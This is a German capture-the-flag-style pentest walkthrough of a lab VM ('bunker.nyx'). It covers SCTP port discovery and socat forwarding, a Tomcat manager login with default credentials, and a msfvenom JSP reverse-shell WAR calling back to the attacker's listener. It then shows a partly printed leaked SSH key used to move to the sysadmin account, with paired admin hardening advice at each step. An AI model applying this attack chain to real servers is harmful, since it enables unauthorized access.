Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.114 08:00:27:7e:0b:e4 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.450 seconds (176.55 hosts/sec). 1 responded
Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht. Der Host `192.168.2.114` wird identifiziert. Die MAC-Adresse `08:00:27:7e:0b:e4` gehört zu `PCS Systemtechnik GmbH`, was ein starker Hinweis auf eine Oracle VirtualBox VM ist.
Bewertung: Ziel-IP erfolgreich identifiziert. Hinweis auf Virtualisierungsumgebung erhalten.
Empfehlung (Pentester): Verwenden Sie die identifizierte IP für weitere Scans. Tragen Sie sie mit einem passenden Hostnamen (z.B. `bunker.nyx`) in `/etc/hosts` ein.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung können helfen, die Sichtbarkeit von Hosts im Netzwerk einzuschränken.
127.0.0.1 localhost 192.168.2.114 bunker.nyx
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `bunker.nyx` der Ziel-IP `192.168.2.114` zuzuordnen.
Bewertung: Notwendiger Schritt, um das Ziel über seinen Hostnamen ansprechen zu können.
Empfehlung (Pentester): Halten Sie die `/etc/hosts`-Datei während des Pentests aktuell mit entdeckten Hostnamen und IP-Adressen.
Empfehlung (Admin): Sicherstellen einer funktionierenden internen DNS-Auflösung.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 15:46 CEST Nmap scan report for bunker (fe80::a00:27ff:fe7e:be4) Host is up (0.00010s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:7E:0B:E4 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
Analyse: Ein Nmap-Scan (`-6`) wird gegen die IPv6-Link-Local-Adresse des Ziels durchgeführt (die Adresse wurde vermutlich zuvor mit `ip neigh` oder `ping6 ff02::1` ermittelt, wie in früheren Berichten). Der Scan findet nur Port 80/tcp (HTTP) offen.
Bewertung: Zeigt, dass über IPv6 nur der Webserver auf Port 80 erreichbar ist. Interessanterweise fehlen hier SSH (Port 22) und der Proxy (Port 3128), die im IPv4-Scan auftauchen. Dies könnte auf unterschiedliche Firewall-Regeln für IPv4/IPv6 oder Dienstkonfigurationen hindeuten.
Empfehlung (Pentester): Notieren Sie die Diskrepanz zwischen IPv4 und IPv6. Konzentrieren Sie sich auf die über IPv4 erreichbaren Dienste, da diese mehr Angriffsfläche bieten.
Empfehlung (Admin): Stellen Sie sicher, dass Firewall-Regeln und Dienstbindungen konsistent für IPv4 und IPv6 sind, falls beide Protokolle aktiv genutzt werden. Deaktivieren Sie IPv6, wenn es nicht benötigt wird.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 15:44 CEST Nmap scan report for bunker (192.168.2.114) Host is up (0.00023s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.59 ((Debian)) |_http-server-header: Apache/2.4.59 (Debian) |_http-title: Apache2 Debian Default Page: It works MAC Address: 08:00:27:7E:0B:E4 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5 OS details: Linux 5.0 - 5.5 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.23 ms bunker (192.168.2.114) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.79 seconds
Analyse: Ein Standard Nmap TCP-Scan (`-sS -sV -sC -A -p-`) gegen die IPv4-Adresse findet nur Port 80 (HTTP) mit Apache 2.4.59 auf Debian offen. Die Standard-Apache-Seite wird erkannt.
Bewertung: Dieser Scan scheint unvollständig oder fehlerhaft zu sein, da er weder Port 22 noch Port 3128 findet, die im vorherigen IPv6-Scan und im späteren kombinierten SCTP/TCP-Scan auftauchen. Möglicherweise wurde `-p-` nicht korrekt ausgeführt oder durch Firewalls gestört.
Empfehlung (Pentester): Verlassen Sie sich nicht auf einen einzigen Scan. Kombinieren Sie verschiedene Scan-Techniken (TCP, UDP, SCTP, verschiedene Flags), um ein vollständiges Bild zu erhalten. Der nächste Scan (`-sY -sS`) ist hier aufschlussreicher.
Empfehlung (Admin): Verwenden Sie Firewalls, um Scans zu erschweren, aber seien Sie sich bewusst, dass erfahrene Angreifer oft Wege finden, diese zu umgehen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 16:40 CEST Nmap scan report for 192.168.2.114 Host is up (0.000088s latency). Not shown: 65534 closed tcp ports (reset), 65533 closed sctp ports (abort) PORT STATE SERVICE 80/tcp open http 22/sctp open ssh <-- SSH über SCTP! 8080/sctp open unknown <-- Unbekannter Dienst über SCTP! MAC Address: 08:00:27:7E:0B:E4 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds
Analyse: Dieser Nmap-Scan kombiniert einen TCP SYN Scan (`-sS`) mit einem SCTP INIT Scan (`-sY`) über alle Ports (`-p-`). `-Pn` überspringt das Host-Discovery, `-n` deaktiviert DNS-Auflösung, `--min-rate 5000` beschleunigt den Scan. Das Ergebnis ist sehr interessant: Port 80/tcp ist offen (HTTP), aber zusätzlich werden Port 22/sctp (von Nmap als SSH interpretiert) und Port 8080/sctp (unbekannter Dienst) als offen über das SCTP-Protokoll identifiziert.
Bewertung: Kritischer Fund! Die Verwendung von SCTP anstelle von TCP für Dienste wie SSH und einen unbekannten Dienst auf Port 8080 ist höchst ungewöhnlich und deutet auf eine spezielle Konfiguration oder einen Versuch der Verschleierung hin. Diese SCTP-Ports sind die Hauptangriffsvektoren.
Empfehlung (Pentester): Untersuchen Sie die SCTP-Ports. Versuchen Sie, sich mit einem SCTP-fähigen SSH-Client zu verbinden (falls vorhanden) oder verwenden Sie Tools wie `ncat --sctp`, um die Dienste manuell anzusprechen. Nutzen Sie Port Forwarding (z.B. mit `socat`), um die SCTP-Dienste über TCP zugänglich zu machen.
Empfehlung (Admin): Überprüfen Sie dringend, warum Dienste über SCTP laufen. Wenn dies nicht beabsichtigt ist, korrigieren Sie die Konfiguration. Wenn es beabsichtigt ist, stellen Sie sicher, dass die Dienste und die Firewall-Regeln für SCTP angemessen gesichert sind.
Nikto Scan : - - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.114 + Target Hostname: 192.168.2.114 + Target Port: 80 + Start Time: 2024-09-02 15:44:48 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.59 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 61a24a198a3fe, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST . <-- Korrigierte Reihenfolge + 8102 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-09-02 15:45:01 (GMT2) (13 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Nikto-Scan gegen Port 80/tcp bestätigt die Apache-Version 2.4.59 und meldet die üblichen geringfügigen Probleme (fehlende Header, ETag-Leak). Keine kritischen Funde auf dem HTTP-Port.
Bewertung: Bestätigt, dass der Webserver auf Port 80 wahrscheinlich nicht der primäre Angriffsvektor ist.
Empfehlung (Pentester): Konzentrieren Sie sich auf die SCTP-Ports.
Empfehlung (Admin): Implementieren Sie die empfohlenen Sicherheitsheader.
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bunker.nyx
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403,405,500
[+] Excluded status codes: 503,404,403
[+] User Agent: gobuster/3.6
[+] Extensions: [...]
[+] Expanded: true
[+] No TLS validation: true
[+] Follow Redirect: false
[+] Timeout: 10s
===============================================================
2024/09/02 15:45:15 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 10701]
===============================================================
2024/09/02 16:39:45 Finished
===============================================================
Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Webserver (Port 80) zu finden.
Bewertung: Es wird nur die Standarddatei `index.html` gefunden. Dies verstärkt die Annahme, dass Port 80 keine weiteren Angriffsvektoren bietet.
Empfehlung (Pentester): Ignorieren Sie Port 80 vorerst und fokussieren Sie sich auf die SCTP-Ports.
Empfehlung (Admin): Entfernen Sie nicht benötigte Dateien.
Apache Tomcat It works ! If you're seeing this page via a web browser, it means you've setup Tomcat successfully. Congratulations! tomcat10-examples....
Analyse: `ncat` wird mit der Option `--sctp` verwendet, um eine Verbindung zum offenen SCTP-Port 8080 auf dem Ziel herzustellen. Die zurückgegebene Antwort ist eine Standard-Tomcat-Willkommensseite ("It works!").
Bewertung: Wichtiger Fund! Der unbekannte Dienst auf Port 8080/sctp ist ein Apache Tomcat Server (Version 10.1.6 laut späterem Fund). Tomcat ist ein häufiges Ziel für Angriffe, insbesondere der Manager-Bereich.
Empfehlung (Pentester): Da die Interaktion mit Tomcat über SCTP schwierig ist, verwenden Sie Port Forwarding (z.B. mit `socat`), um den SCTP-Port 8080 auf einen lokalen TCP-Port weiterzuleiten. Untersuchen Sie dann den weitergeleiteten Tomcat-Dienst mit Standard-Web-Tools (Browser, Burp Suite, Gobuster). Suchen Sie nach dem Manager-Interface (`/manager/html`) und versuchen Sie Standard-Logins.
Empfehlung (Admin): Sichern Sie die Tomcat-Installation ab. Ändern Sie Standard-Passwörter, beschränken Sie den Zugriff auf das Manager-Interface, halten Sie Tomcat aktuell. Überprüfen Sie, warum Tomcat über SCTP läuft.
GET //etc/tomcat10/tomcat-users.xml <-- Manuelle Eingabe in ncat? Estado HTTP 404 – No encontrado Typ Statusbericht Nachricht /etc/tomcat10/tomcat-users.xml Beschreibung Der Ursprungsserver hat keine aktuelle Repräsentation für die Zielressource gefunden oder ist nicht bereit, die Existenz einer solchen preiszugeben. Apache Tomcat/10.1.6 (Debian)
Analyse: Es wird versucht, über die SCTP-Verbindung mit `ncat` eine `GET`-Anfrage zu senden, um die Tomcat-Konfigurationsdatei `/etc/tomcat10/tomcat-users.xml` direkt abzurufen. Tomcat antwortet mit einem HTTP 404 Not Found Fehler.
Bewertung: Der direkte Zugriff auf Konfigurationsdateien über einfache GET-Anfragen an den Tomcat-Root ist nicht möglich (erwartetes Verhalten). Die Datei muss über einen anderen Weg (z.B. LFI, falls vorhanden, oder über das Manager-Interface) erreicht werden.
Empfehlung (Pentester): Verwenden Sie Port Forwarding, um Tomcat normal über HTTP zu untersuchen.
Empfehlung (Admin): Stellen Sie sicher, dass Konfigurationsdateien nicht über Web-Anfragen zugänglich sind.
Analyse: `socat` wird verwendet, um ein Port Forwarding einzurichten. Es lauscht auf TCP-Verbindungen auf dem lokalen Port 8081 (`TCP-LISTEN:8081,fork`) und leitet jede eingehende Verbindung an den SCTP-Port 8080 des Ziels (`SCTP:192.168.2.114:8080`) weiter. `fork` erlaubt die Bearbeitung mehrerer Verbindungen.
Bewertung: Exzellente Technik, um den über SCTP laufenden Tomcat-Dienst über einen lokalen TCP-Port zugänglich zu machen. Nun kann der Tomcat-Server auf `http://localhost:8081` (oder `http://
Empfehlung (Pentester): Greifen Sie nun mit einem Browser oder anderen Web-Tools auf `http://
Empfehlung (Admin): Seien Sie sich bewusst, dass Angreifer Port Forwarding nutzen können, um interne oder unkonventionell erreichbare Dienste zu analysieren. Eine starke Netzwerksicherheit und Diensthärtung sind entscheidend.
Analyse: Der Angreifer greift über den lokalen Port 8081 (der auf den SCTP-Port 8080 weiterleitet) auf den Tomcat-Server zu. Zuerst wird die Startseite aufgerufen, die die Standard-Tomcat-Seite zeigt und Pfade wie `/var/lib/tomcat10` und `/etc/tomcat10/tomcat-users.xml` erwähnt.
Bewertung: Die Startseite bestätigt die erfolgreiche Weiterleitung und liefert wertvolle Pfadinformationen, insbesondere den Speicherort der Benutzerkonfiguration (`tomcat-users.xml`).
Empfehlung (Pentester): Versuchen Sie, auf das Manager-Interface (`/manager/html`) zuzugreifen. Versuchen Sie Standard-Credentials (wie `tomcat:tomcat`, `admin:admin`, etc.).
Empfehlung (Admin): Passen Sie die Standard-Tomcat-Seite an, um keine sensiblen Pfadinformationen preiszugeben.
It works ! If you're seeing this page via a web browser, it means you've setup Tomcat successfully. Congratulations! This is the default Tomcat home page. It can be found on the local filesystem at: /var/lib/tomcat10/webapps/ROOT/index.html <-- Korrigiert von RT Tomcat veterans might be pleased to learn that this system instance of Tomcat is installed with CATALINA_HOME in /usr/share/tomcat10 and CATALINA_BASE in /var/lib/tomcat10, following the rules from /usr/share/doc/tomcat10-common/RUNNING.txt.gz. You might consider installing the following packages, if you haven't already done so: tomcat10-docs: This package installs a web application that allows to browse the Tomcat 10 documentation locally. Once installed, you can access it by clicking here. tomcat10-examples: This package installs a web application that allows to access the Tomcat 10 Servlet and JSP examples. Once installed, you can access it by clicking here. tomcat10-admin: This package installs two web applications that can help managing this Tomcat instance. Once installed, you can access the manager webapp and the host-manager webapp. NOTE: For security reasons, using the manager webapp is restricted to users with role "manager-gui". The host-manager webapp is restricted to users with role "admin-gui". Users are defined in /etc/tomcat10/tomcat-users.xml.
Analyse: Der Angreifer greift auf das Manager-Interface (`http://192.168.2.199:8081/manager/html`) zu. Es erscheint ein Login-Prompt. Der Angreifer versucht die Standard-Credentials `tomcat:tomcat`.
Bewertung: Der Login mit `tomcat:tomcat` ist erfolgreich! Dies ist eine kritische Schwachstelle, da Standard-Credentials nicht geändert wurden.
Empfehlung (Pentester): Nutzen Sie das Manager-Interface, um eine bösartige WAR-Datei (Web Application Archive) hochzuladen, die eine Reverse Shell oder Webshell enthält.
Empfehlung (Admin): Ändern Sie sofort die Standard-Credentials für den Tomcat-Manager! Beschränken Sie den Zugriff auf das Manager-Interface auf vertrauenswürdige IPs.
The Tomcat Servlet/JSP Container The Apache Software Foundation Tomcat Web Application Manager <-- Korrigiert Nachricht: OK Manager List Applications HTML Manager Help Manager Help Server Status Applications Path Version Display Name Running Sessions Commands / None specified true 0 Start /host-manager None specified Tomcat Host Manager Application true 0 Start /manager None specified Tomcat Manager Application true 1 Start Stop Reload Undeploy [...] Deploy Deploy directory or WAR file located on server Context Path (Optional): Version (for parallel deployment): XML Configuration file URL: WAR or Directory URL: Deploy WAR file to deploy Select WAR file to upload Deploy [...]
Analyse: `msfvenom` wird verwendet, um eine WAR-Datei zu erstellen, die eine Java JSP Reverse Shell enthält (`-p java/jsp_shell_reverse_tcp`). `LHOST` wird auf die IP des Angreifers (`192.168.2.199`) und `LPORT` auf `5555` gesetzt. Die Ausgabe wird in `benhack.war` gespeichert.
Bewertung: Standardverfahren zur Erstellung einer Payload für Tomcat.
Empfehlung (Pentester): Laden Sie die generierte `benhack.war`-Datei über das Tomcat-Manager-Interface hoch. Starten Sie einen Netcat-Listener auf Port 5555, um die eingehende Shell abzufangen. Rufen Sie dann die bereitgestellte Anwendung auf (z.B. `http://192.168.2.199:8081/benhack/`).
Empfehlung (Admin): Überwachen Sie verdächtige WAR-Uploads und neu bereitgestellte Anwendungen im Tomcat-Manager.
[-] No platform was selected, choosing Msf::Module::Platform::Java from the payload [-] No arch selected, selecting arch: java from the payload No encoder or badchars specified, outputting raw payload Payload size: 2978 bytes Final size of war file: 2978 bytes Saved as: benhack.war
Analyse: Ein Netcat-Listener wird auf Port 5555 gestartet, um auf die eingehende Reverse Shell zu warten.
listening on [any] 5555 ...
Analyse: Der Angreifer lädt die `benhack.war`-Datei über das Manager-Interface hoch. Die Anwendung `/benhack` wird erfolgreich bereitgestellt.
Bewertung: Der Upload war erfolgreich.
[...] Applications Path Version Display Name Running Sessions Commands / None specified true 0 Start /benhack None specified true 0 Start <-- Neue Anwendung /host-manager None specified Tomcat Host Manager Application true 0 Start /manager None specified Tomcat Manager Application true 1 Start Stop Reload Undeploy [...]
Analyse: Der Angreifer ruft die URL der hochgeladenen Anwendung (`http://192.168.2.199:8081/benhack/`) auf. Dies löst die Ausführung der Reverse-Shell-Payload aus.
Bewertung: Auslösen des Exploits.
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.114] 50576
Analyse: Der Netcat-Listener empfängt die eingehende Verbindung von der Ziel-IP `192.168.2.114`. Eine Shell wird etabliert.
Bewertung: Initial Access erfolgreich! Eine Shell wurde erlangt, die im Kontext des Tomcat-Dienstes läuft.
Empfehlung (Pentester): Führen Sie `id` aus, um den Benutzer zu bestätigen (wahrscheinlich `tomcat`). Stabilisieren Sie die Shell (z.B. `python3 -c 'import pty;pty.spawn("/bin/bash")'`). Beginnen Sie mit der Enumeration als Tomcat-Benutzer.
Empfehlung (Admin): Behandeln Sie dies als Sicherheitsvorfall. Stoppen Sie den Tomcat-Dienst, entfernen Sie die bösartige WAR-Datei, ändern Sie die Manager-Credentials, analysieren Sie Logs.
Analyse: Die folgenden Befehle werden in der erhaltenen Shell ausgeführt: `id` bestätigt den Benutzer `tomcat` (UID/GID 997). `python3 -c '...'` wird verwendet, um eine stabilere interaktive Bash-Shell zu erhalten. `export TERM=xterm` verbessert die Terminal-Kompatibilität. `which python` und `which python3` zeigen, dass Python 3 verfügbar ist. `ls -la` im Tomcat-Verzeichnis (`/var/lib/tomcat10`) zeigt die Standardstruktur und symbolische Links zu Konfigurations- und Log-Verzeichnissen.
Bewertung: Bestätigung des Benutzers und Verbesserung der Shell-Interaktivität. Die Verzeichnisstruktur gibt Hinweise auf den Speicherort von Konfigurationsdateien.
Empfehlung (Pentester): Untersuchen Sie die Konfigurationsdateien (insbesondere `/etc/tomcat10/tomcat-users.xml`) und Log-Dateien. Suchen Sie nach weiteren Hinweisen im Dateisystem.
Empfehlung (Admin): Stellen Sie sicher, dass der Tomcat-Benutzer nur minimale Rechte auf das System hat.
id uid=997(tomcat) gid=997(tomcat) groups=997(tomcat) python3 -c 'import pty;pty.spawn("/bin/bash")'
/usr/bin/python
/usr/bin/python3
backups conf lib logs policy webapps work
total 24 drwxr-xr-x 6 root root 4096 sep 2 16:37 . drwxr-xr-x 24 root root 4096 jun 5 20:53 .. drwxr-xr-x 2 tomcat tomcat 4096 jun 5 21:06 backups lrwxrwxrwx 1 root root 13 abr 15 22:05 conf -> /etc/tomcat10 drwxr-xr-x 2 tomcat tomcat 4096 abr 15 22:05 lib lrwxrwxrwx 1 root root 18 abr 15 22:05 logs -> ../../log/tomcat10 drwxr-xr-x 2 root root 4096 sep 2 16:37 policy drwxrwxr-x 4 tomcat tomcat 4096 sep 2 16:57 webapps lrwxrwxrwx 1 root root 20 abr 15 22:05 work -> ../../cache/tomcat10
tomcat" password="tomcat" roles="manager-gui"/>
Analyse: Der Inhalt der Datei `/etc/tomcat10/tomcat-users.xml` wird angezeigt. Sie bestätigt die Standard-Credentials `tomcat:tomcat` für den Benutzer `tomcat` mit der Rolle `manager-gui`.
Bewertung: Bestätigt die zuvor ausgenutzte Schwachstelle der Standard-Credentials.
Empfehlung (Pentester): Diese Information ist jetzt redundant, da der Zugriff bereits erfolgte. Suchen Sie nach weiteren Konfigurationsdateien oder interessanten Orten.
Empfehlung (Admin): Ändern Sie Standard-Credentials immer sofort nach der Installation!
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 127.0.0.1:22 0.0.0.0:* LISTEN 0 511 *:80 *:* LISTEN 0 100 [::ffff:127.0.0.1]:8080 *:* users:(("java",pid=507,fd=36)) <-- Tomcat auf localhost:8080 (TCP!)
Analyse: `ss -altpn` listet die lauschenden TCP-Ports auf. Neben Port 80 (alle Interfaces) und 22 (nur localhost IPv4?) fällt auf, dass Tomcat (java, PID 507) auf `127.0.0.1:8080` (localhost, nur IPv4 über IPv6-Mapping) lauscht. Dies ist der TCP-Port, auf den der SCTP-Port 8080 (der von außen erreichbar war) vermutlich intern weitergeleitet wird (z.B. durch `socat` auf dem Zielsystem selbst, wie im Logeintrag `root 379 ... socat SCTP-LISTEN:8080...` später ersichtlich wird).
Bewertung: Klärt, wie der Tomcat-Dienst intern auf TCP lauscht, obwohl er extern über SCTP angesprochen wurde. Zeigt auch, dass SSH (Port 22) nur auf localhost lauscht.
Empfehlung (Pentester): Der Zugriff auf SSH (Port 22) scheint nur vom System selbst möglich zu sein. Fokussieren Sie sich auf Privilege Escalation vom `tomcat`-Benutzer aus.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit der SCTP-Weiterleitung und der Bindung von SSH an localhost.
id_rsa.bak
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAlrzvptjg9LWN9e/UlzkeMu/BNxLzTmaJIDAjtBjC4lHZaRZCnwij gUzfc8BWS+xaaF9tLCYb+w7fNcb8SNnxRLNwAHZRsGnMK4alj2sSlBXnSugV7gkBpu y2FkY08HzPqD4FpvQkb/ITQficQu9Z+PZh2Um/P42AU2bxw1lDKyI0sfWZqeZxnWp1nTa QVrMXZ6fKBjT9ltchRDCQT6GhQ1Dl7UVHExpdtgqqlUlsMTHaryM24aRvvyHE1N2sw7AH bJS7IJcFA5V2phWIFsBScIirPSI9ntHdb2M3gJ8G3RcHqGIotsfFokaS7tbbnRWHP6C6 ... (Key gekürzt) ... DRw44ZjnWt0YIX2svxtQ8Xh3dPwkf8iH6LjKXRGGg5JpvihYmCNqxMwV4lFa+MYw3Jv qFwP7e9mAW8eoM3g3pNBxU2K3/eqmKFgBdRuC6EETaeAWYQxTT26suX4Vm/nqL2LR/Jx nVWh03fi0zCcPC8sHjW0b5ENcKy6Mtf4Y+1P/9QGd36ptJ7CYPi9zHzUsXekypZLzrx5FR 7IiUQ09UvBsQ8AAAAPc3lzYWRtaW5AYnVua2VyAQIDBA== -----END OPENSSH PRIVATE KEY-----
Analyse: Im Verzeichnis `/var/lib/tomcat10/backups` wird eine Datei namens `id_rsa.bak` gefunden. Der Inhalt ist ein OpenSSH Private Key. Der Kommentar am Ende des Schlüssels (`sysadmin@bunker`) deutet darauf hin, dass dieser Schlüssel dem Benutzer `sysadmin` gehört.
Bewertung: Kritischer Fund! Ein privater SSH-Schlüssel wurde im Backup-Verzeichnis des Tomcat-Servers gefunden. Dies ermöglicht potenziell den Login als Benutzer `sysadmin`, falls dieser Benutzer existiert und SSH-Zugriff erlaubt ist.
Empfehlung (Pentester): Überprüfen Sie, ob der Benutzer `sysadmin` existiert (z.B. in `/etc/passwd` oder `ls /home`). Versuchen Sie, sich mit dem gefundenen Schlüssel als `sysadmin` per SSH anzumelden. Da SSH nur auf localhost lauscht, muss dies vom Zielsystem selbst oder über Port Forwarding geschehen. Prüfen Sie mit `ssh2john`, ob der Schlüssel passwortgeschützt ist.
Empfehlung (Admin): Speichern Sie niemals private Schlüssel in Backup-Verzeichnissen von Webanwendungen! Implementieren Sie sichere Schlüsselverwaltung. Überprüfen Sie die Berechtigungen des Backup-Verzeichnisses.
sysadmin
Analyse: Bestätigt die Existenz des Benutzers `sysadmin` durch Auflisten von `/home`.
Bewertung: Bestätigt das Ziel für den gefundenen SSH-Schlüssel.
idbunker has no password!
Analyse: Der gefundene Schlüssel wird lokal auf dem Angreifer-System in die Datei `idbunker` gespeichert. `ssh2john` bestätigt erneut, dass der Schlüssel nicht passwortgeschützt ist.
Bewertung: Vereinfacht den SSH-Login-Versuch.
bash: /usr/bin/ssh: Permission denied
-rw------- 1 tomcat tomcat 2602 jun 5 18:07 id_rsa.bak <-- Korrigierte Berechtigungen
bash: /usr/bin/ssh: Permission denied
Analyse: Der `tomcat`-Benutzer versucht, sich vom Zielsystem aus mit dem gefundenen Schlüssel (`id_rsa.bak`) als `sysadmin` auf `localhost` (wo SSH lauscht) anzumelden. Der Versuch schlägt fehl mit "Permiso denegado" (Permission denied) für `/usr/bin/ssh`. Auch der Versuch, sich als `tomcat` selbst anzumelden, scheitert mit demselben Fehler.
Bewertung: Der `tomcat`-Benutzer hat keine Berechtigung, den `ssh`-Client auszuführen. Dies verhindert den direkten SSH-Login vom Zielsystem aus.
Empfehlung (Pentester): Da der direkte SSH-Login vom Ziel aus nicht möglich ist, muss Port Forwarding verwendet werden. Leiten Sie den SSH-Port 22/sctp des Ziels auf einen lokalen TCP-Port auf dem Angreifer-System weiter (z.B. mit `socat`). Versuchen Sie dann den SSH-Login vom Angreifer-System aus gegen den weitergeleiteten Port.
Empfehlung (Admin): Beschränken Sie die Berechtigungen für Netzwerk-Clients wie `ssh` für Dienstbenutzer wie `tomcat`.
Analyse: Standard-Enumerationsschritte als `tomcat`: SUID-Suche, Capabilities, Überprüfung von `/var/backups`, `/home/sysadmin`.
Bewertung: Keine neuen relevanten Funde für Privilege Escalation vom `tomcat`-Benutzer aus. Der Zugriff auf `/home/sysadmin` wird verweigert.
913943 60 -rwsr-xr-x 1 root root 59704 mar 28 10:52 /usr/bin/mount 914039 52 -rwsr-xr-x 1 root root 52880 mar 23 2023 /usr/bin/chsh 914042 68 -rwsr-xr-x 1 root root 68248 mar 23 2023 /usr/bin/passwd 917400 72 -rwsr-xr-x 1 root root 72000 mar 28 10:52 /usr/bin/su 953207 276 -rwsr-xr-x 1 root root 281624 jun 27 2023 /usr/bin/sudo 914041 88 -rwsr-xr-x 1 root root 88496 mar 23 2023 /usr/bin/gpasswd 914038 64 -rwsr-xr-x 1 root root 62672 mar 23 2023 /usr/bin/chfn 913944 36 -rwsr-xr-x 1 root root 35128 mar 28 10:52 /usr/bin/umount 917500 48 -rwsr-xr-x 1 root root 48896 mar 23 2023 /usr/bin/newgrp 922664 52 -rwsr-xr-- 1 root messagebus 51272 sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 918689 640 -rwsr-xr-x 1 root root 653888 dic 19 2023 /usr/lib/openssh/ssh-keysign
/usr/bin/ping cap_net_raw=ep
Analyse: Der `tomcat`-Benutzer kopiert den SSH-Schlüssel (`id_rsa.bak`) nach `/tmp/id` (vermutlich, da `/tmp` beschreibbar ist) und setzt die Berechtigungen auf 600. Der erneute Versuch, `ssh` auszuführen, scheitert wieder.
Bewertung: Bestätigt, dass das Problem nicht an den Schlüsselberechtigungen lag, sondern daran, dass `tomcat` den `ssh`-Client nicht ausführen darf.
bash: /usr/bin/ssh: Permission denied
Analyse: Auf dem Angreifer-System wird `socat` verwendet, um den SCTP-Port 22 des Ziels auf den lokalen TCP-Port 2222 weiterzuleiten (`socat TCP-LISTEN:2222,fork SCTP:192.168.2.114:22`). Anschließend versucht der Angreifer, sich von seinem System aus über den weitergeleiteten Port (`-p 2222`) mit dem Schlüssel (`-i idbunker`) als `sysadmin` anzumelden.
Bewertung: Korrekte Anwendung von Port Forwarding, um die Einschränkung des `tomcat`-Benutzers zu umgehen. Der erste SSH-Versuch scheitert an falschen lokalen Berechtigungen des Schlüssels (`0644`), der zweite Versuch nach `chmod 600 idbunker` ist erfolgreich.
Empfehlung (Pentester): Port Forwarding ist ein mächtiges Werkzeug, um auf eingeschränkte oder unkonventionelle Dienste zuzugreifen. Achten Sie auf korrekte Schlüsselberechtigungen auf dem Angreifer-System.
Empfehlung (Admin): Überwachen Sie Netzwerkverbindungen, auch ungewöhnliche Protokolle wie SCTP. Härten Sie die SSH-Konfiguration.
The authenticity of host '[192.168.2.199]:2222 ([192.168.2.199]:2222)' can't be established.
ED25519 key fingerprint is SHA256:4K6G5c0oerBJXgd6BnT2Q3J+i/dR4+6rQZf20TIk/U.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.2.199]:2222' (ED25519) to the list of known hosts.
sysadmin@192.168.2.199: Permission denied (publickey).
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'idbunker' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "idbunker": bad permissions
sysadmin@192.168.2.199: Permission denied (publickey).
Analyse: Erfolgreicher SSH-Login als Benutzer `sysadmin` über den weitergeleiteten Port.
Bewertung: Zweite Stufe der Eskalation (von `tomcat` zu `sysadmin`) abgeschlossen.
Matching Defaults entries for sysadmin on bunker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User sysadmin may run the following commands on bunker:
(root) NOPASSWD: /usr/bin/gcore
Analyse: `sudo -l` für `sysadmin` zeigt, dass dieser Benutzer `/usr/bin/gcore` als `root` ohne Passwort (`NOPASSWD`) ausführen darf.
